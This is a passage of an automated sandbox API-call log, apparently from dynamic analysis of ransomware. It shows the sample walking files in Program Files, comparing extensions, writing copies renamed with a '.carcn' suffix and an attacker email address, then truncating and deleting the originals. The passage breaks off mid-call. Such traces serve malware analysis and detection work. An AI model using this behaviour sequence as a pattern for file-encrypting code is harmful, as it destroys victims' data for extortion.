[0177.816] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.816] lstrlenW (lpString=".zip") returned 4 [0177.816] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.816] lstrlenW (lpString=".rar") returned 4 [0177.816] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.816] lstrlenW (lpString=".bz2") returned 4 [0177.816] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.816] lstrlenW (lpString=".7z") returned 3 [0177.816] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.816] lstrlenW (lpString=".dbf") returned 4 [0177.816] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.816] lstrlenW (lpString=".1cd") returned 4 [0177.816] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.816] lstrlenW (lpString=".jpg") returned 4 [0177.816] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.816] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0177.816] lstrlenW (lpString="adovbs.inc") returned 10 [0177.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.849] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=15195) returned 1 [0177.849] CloseHandle (hObject=0x36c) returned 1 [0177.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0177.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.850] lstrlenW (lpString=".doc") returned 4 [0177.850] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0177.850] lstrlenW (lpString=".docx") returned 5 [0177.850] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0177.850] lstrlenW (lpString=".pdf") returned 4 [0177.850] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0177.850] lstrlenW (lpString=".xls") returned 4 [0177.850] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0177.850] lstrlenW (lpString=".xlsx") returned 5 [0177.850] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0177.850] lstrlenW (lpString=".ppt") returned 4 [0177.850] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString=".zip") returned 4 [0177.851] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString=".rar") returned 4 [0177.851] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString=".bz2") returned 4 [0177.851] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0177.851] lstrlenW (lpString=".7z") returned 3 [0177.851] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString=".dbf") returned 4 [0177.851] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString=".1cd") returned 4 [0177.851] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString=".jpg") returned 4 [0177.851] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString=".doc") returned 4 [0177.851] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0177.851] lstrlenW (lpString=".docx") returned 5 [0177.851] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0177.851] lstrlenW (lpString=".pdf") returned 4 [0177.851] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString=".xls") returned 4 [0177.851] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString=".xlsx") returned 5 [0177.851] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0177.851] lstrlenW (lpString=".ppt") returned 4 [0177.851] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0177.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.851] lstrlenW (lpString=".zip") returned 4 [0177.851] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0177.852] lstrlenW (lpString=".rar") returned 4 [0177.852] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0177.852] lstrlenW (lpString=".bz2") returned 4 [0177.852] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0177.852] lstrlenW (lpString=".7z") returned 3 [0177.852] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0177.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.852] lstrlenW (lpString=".dbf") returned 4 [0177.852] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0177.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.852] lstrlenW (lpString=".1cd") returned 4 [0177.852] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0177.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0177.852] lstrlenW (lpString=".jpg") returned 4 [0177.852] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0177.852] lstrcmpiW (lpString1=".ini", lpString2=".carcn") returned 1 [0177.852] lstrlenW (lpString="desktop.ini") returned 11 [0177.852] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.852] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=174) returned 1 [0177.852] CloseHandle (hObject=0x36c) returned 1 [0177.852] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0177.852] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.853] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.853] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.853] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.853] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.913] GetLastError () returned 0x0 [0177.913] ReadFile (in: hFile=0x36c, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xae, lpOverlapped=0x0) returned 1 [0177.914] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xb0, lpOverlapped=0x0) returned 1 [0177.915] ReadFile (in: hFile=0x36c, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.915] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xea, lpOverlapped=0x0) returned 1 [0177.915] SetEndOfFile (hFile=0x310) returned 1 [0177.915] CloseHandle (hObject=0x310) returned 1 [0177.916] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.916] SetEndOfFile (hFile=0x36c) returned 1 [0177.917] CloseHandle (hObject=0x36c) returned 1 [0177.917] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x26) returned 1 [0177.917] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0177.917] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.917] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.917] lstrlenW (lpString=".doc") returned 4 [0177.918] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0177.918] lstrlenW (lpString=".docx") returned 5 [0177.918] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0177.918] lstrlenW (lpString=".pdf") returned 4 [0177.918] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0177.918] lstrlenW (lpString=".xls") returned 4 [0177.918] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0177.918] lstrlenW (lpString=".xlsx") returned 5 [0177.918] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0177.918] lstrlenW (lpString=".ppt") returned 4 [0177.918] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0177.918] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.918] lstrlenW (lpString=".zip") returned 4 [0177.918] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0177.918] lstrlenW (lpString=".rar") returned 4 [0177.918] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0177.918] lstrlenW (lpString=".bz2") returned 4 [0177.918] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0177.918] lstrlenW (lpString=".7z") returned 3 [0177.918] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0177.918] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.918] lstrlenW (lpString=".dbf") returned 4 [0177.918] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0177.918] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.918] lstrlenW (lpString=".1cd") returned 4 [0177.918] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0177.918] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.918] lstrlenW (lpString=".jpg") returned 4 [0177.918] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0177.918] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.918] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.918] lstrlenW (lpString=".doc") returned 4 [0177.918] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0177.918] lstrlenW (lpString=".docx") returned 5 [0177.918] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0177.919] lstrlenW (lpString=".pdf") returned 4 [0177.919] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0177.919] lstrlenW (lpString=".xls") returned 4 [0177.919] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0177.919] lstrlenW (lpString=".xlsx") returned 5 [0177.919] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0177.919] lstrlenW (lpString=".ppt") returned 4 [0177.919] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0177.919] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.919] lstrlenW (lpString=".zip") returned 4 [0177.919] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0177.919] lstrlenW (lpString=".rar") returned 4 [0177.919] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0177.919] lstrlenW (lpString=".bz2") returned 4 [0177.919] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0177.919] lstrlenW (lpString=".7z") returned 3 [0177.919] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0177.919] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.919] lstrlenW (lpString=".dbf") returned 4 [0177.919] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0177.919] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.919] lstrlenW (lpString=".1cd") returned 4 [0177.919] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0177.919] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0177.920] lstrlenW (lpString=".jpg") returned 4 [0177.920] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0177.920] lstrcmpiW (lpString1=".txt", lpString2=".carcn") returned 1 [0177.920] lstrlenW (lpString="Xusage.txt") returned 10 [0177.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.921] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1423) returned 1 [0177.921] CloseHandle (hObject=0x36c) returned 1 [0177.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0177.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.921] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.921] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.921] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.921] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.921] GetLastError () returned 0x0 [0177.921] ReadFile (in: hFile=0x36c, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x58f, lpOverlapped=0x0) returned 1 [0177.984] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x590, lpOverlapped=0x0) returned 1 [0177.985] ReadFile (in: hFile=0x36c, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.985] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe8, lpOverlapped=0x0) returned 1 [0177.985] SetEndOfFile (hFile=0x310) returned 1 [0177.985] CloseHandle (hObject=0x310) returned 1 [0177.986] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.986] SetEndOfFile (hFile=0x36c) returned 1 [0177.987] CloseHandle (hObject=0x36c) returned 1 [0177.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.995] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0177.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.995] lstrlenW (lpString=".doc") returned 4 [0177.995] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0177.995] lstrlenW (lpString=".docx") returned 5 [0177.995] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0177.995] lstrlenW (lpString=".pdf") returned 4 [0177.995] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0177.995] lstrlenW (lpString=".xls") returned 4 [0177.995] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0177.995] lstrlenW (lpString=".xlsx") returned 5 [0177.995] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0177.995] lstrlenW (lpString=".ppt") returned 4 [0177.995] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0177.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.995] lstrlenW (lpString=".zip") returned 4 [0177.995] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0177.995] lstrlenW (lpString=".rar") returned 4 [0177.995] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0177.995] lstrlenW (lpString=".bz2") returned 4 [0177.995] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0177.995] lstrlenW (lpString=".7z") returned 3 [0177.995] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0177.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString=".dbf") returned 4 [0177.996] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString=".1cd") returned 4 [0177.996] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString=".jpg") returned 4 [0177.996] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString=".doc") returned 4 [0177.996] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString=".docx") returned 5 [0177.996] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0177.996] lstrlenW (lpString=".pdf") returned 4 [0177.996] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString=".xls") returned 4 [0177.996] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0177.996] lstrlenW (lpString=".xlsx") returned 5 [0177.996] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0177.996] lstrlenW (lpString=".ppt") returned 4 [0177.996] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString=".zip") returned 4 [0177.996] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0177.996] lstrlenW (lpString=".rar") returned 4 [0177.996] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString=".bz2") returned 4 [0177.996] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString=".7z") returned 3 [0177.996] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.996] lstrlenW (lpString=".dbf") returned 4 [0177.996] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0177.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.997] lstrlenW (lpString=".1cd") returned 4 [0177.997] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0177.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0177.997] lstrlenW (lpString=".jpg") returned 4 [0177.997] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0177.997] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0177.997] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0177.997] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.002] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=7805) returned 1 [0178.002] CloseHandle (hObject=0x380) returned 1 [0178.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0178.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.002] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.002] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.003] GetLastError () returned 0x0 [0178.003] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0178.056] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0178.057] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.057] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0178.057] SetEndOfFile (hFile=0x2e0) returned 1 [0178.057] CloseHandle (hObject=0x2e0) returned 1 [0178.058] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.058] SetEndOfFile (hFile=0x380) returned 1 [0178.058] CloseHandle (hObject=0x380) returned 1 [0178.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.059] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program 